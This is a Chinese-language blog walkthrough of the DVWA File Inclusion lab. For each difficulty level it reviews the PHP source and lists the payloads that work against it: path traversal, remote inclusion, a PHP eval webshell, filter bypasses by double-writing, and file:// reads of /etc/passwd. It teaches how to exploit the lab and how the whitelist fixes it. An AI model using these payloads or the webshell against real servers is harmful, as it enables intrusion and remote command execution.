dvwa之File Inclusion

dvwa的文件包含

英文:520词 | 中文:2575字

Posted by YY——阳阳 on November 17, 2020

前言

File Inclusion,意思是文件包含(漏洞),是一种代码处理方式,当一个代码文件想要引用另外一个代码文件,就要用到包含。当服务器开启allow_url_include选项时,就可以通过php的某些特性函数(include(),require()和include_once(),require_once())利用url去动态包含文件,此时如果没有对文件来源进行严格审查,就会导致任意文件读取或者任意命令执行。文件包含漏洞分为本地文件包含漏洞与远程文件包含漏洞,远程文件包含漏洞是因为开启了php配置中的allow_url_fopen选项(选项开启之后,服务器允许包含一个远程的文件)。

Low

源码审查

<?php
// The page we wish to display
$file = $_GET[ 'page' ];
?>

服务器对page参数没有做任何过滤检查

gFlzS.png

服务器期望用户的操作是点击上面的三个链接,服务器会包含相应的文件,并将结果返回。需要特别说明的是,服务器包含文件时,不管文件后缀是否是php,都会尝试当做php文件执行,如果文件内容为php,则会正常执行并返回结果;如果不是,则会原封不动地打印文件内容,所以文件包含漏洞常常会导致任意文件读取与任意命令执行。

漏洞利用

0x01 分析

  尝试修改参数为test.php看一下,发现什么都没有

  说明这个参数可以利用,盲猜这三个php文件是在一个目录里边的,应该是这样

  因此我们想要包含跟目录里边的php.ini文件,就要跳转到上两级目录

读取www\DVWA\php.ini include(“www\DVWA\php.ini”) include(“www\DVWA\vulnerabilities\fi../../php.ini”) 在这里插入图片描述   发现allow_url_include和allow_url_fopen是开着的,因此进行远程文件执行

0x02 远程文件执行

  在自己的服务器上放置一个phpinfo.txt文件或者是一句话木马都可以,然后进行远程包含,只要后缀改为php就可以执行,但是如果是非php文件,只要文件里为php格式的代码就可以执行。我们要清楚远程的执行不是在攻击者的web服务器上执行,而是在受害者web服务器上执行命令,所以phpinfo.txt才是正经。

//一句话木马
<?php @eval($_POST['cmd']); ?>
//phpinfo
<?
phpinfo();
?>

在这里插入图片描述

PS:下面这是在谜团靶场执行靶场的phpinfo()gtgdh.png

http://340d990415234f43a620e1071184f98d.app.mituan.zone/vulnerabilities/fi/?page=http://340d990415234f43a620e1071184f98d.app.mituan.zone/phpinfo.php

Medium

源码审查

  将输入的url参数中包含的“http://”、“https://”, “. . /” , “. . ““等字符串替换成空的字符串, 即过滤了远程文件包含, 对于绝对路径和本地文件包含并没有任何过滤。当然也可以用大小写或者双写的方式绕过。

<?php
// The page we wish to display
$file = $_GET[ 'page' ];

// Input validation
$file = str_replace( array( "http://", "https://" ), "", $file );
$file = str_replace( array( "../", "..\"" ), "", $file );
?> 

攻击方式

构造payload

page=/etc/passwd
page=hTTp://www.baidu.com
page=hthttp://tp://www.baidu.com

gFVIW.png

gFuhO.png

High

源码审查

<?php

// The page we wish to display
$file = $_GET[ 'page' ];

// Input validation
if( !fnmatch( "file*", $file ) && $file != "include.php" ) {
    // This isn't the page we want!
    echo "ERROR: File not found!";
    exit;
}

?> 

2ijX8.png 构造payload

http://aac53b825fac44e39d4d050d00135c36.app.mituan.zone/vulnerabilities/fi/?page=file:///etc/apache2/apache2.conf
http://aac53b825fac44e39d4d050d00135c36.app.mituan.zone/vulnerabilities/fi/?page=file4.php
http://aac53b825fac44e39d4d050d00135c36.app.mituan.zone/vulnerabilities/fi/?page=fileabc../../../../../../../etc/passwd

impossible

源码审查

<?php

// The page we wish to display
$file = $_GET[ 'page' ];

// Only allow include.php or file{1..3}.php
if( $file != "include.php" && $file != "file1.php" && $file != "file2.php" && $file != "file3.php" ) {
    // This isn't the page we want!
    echo "ERROR: File not found!";
    exit;
}

?> 

给了指定的访问页面,无法文件包含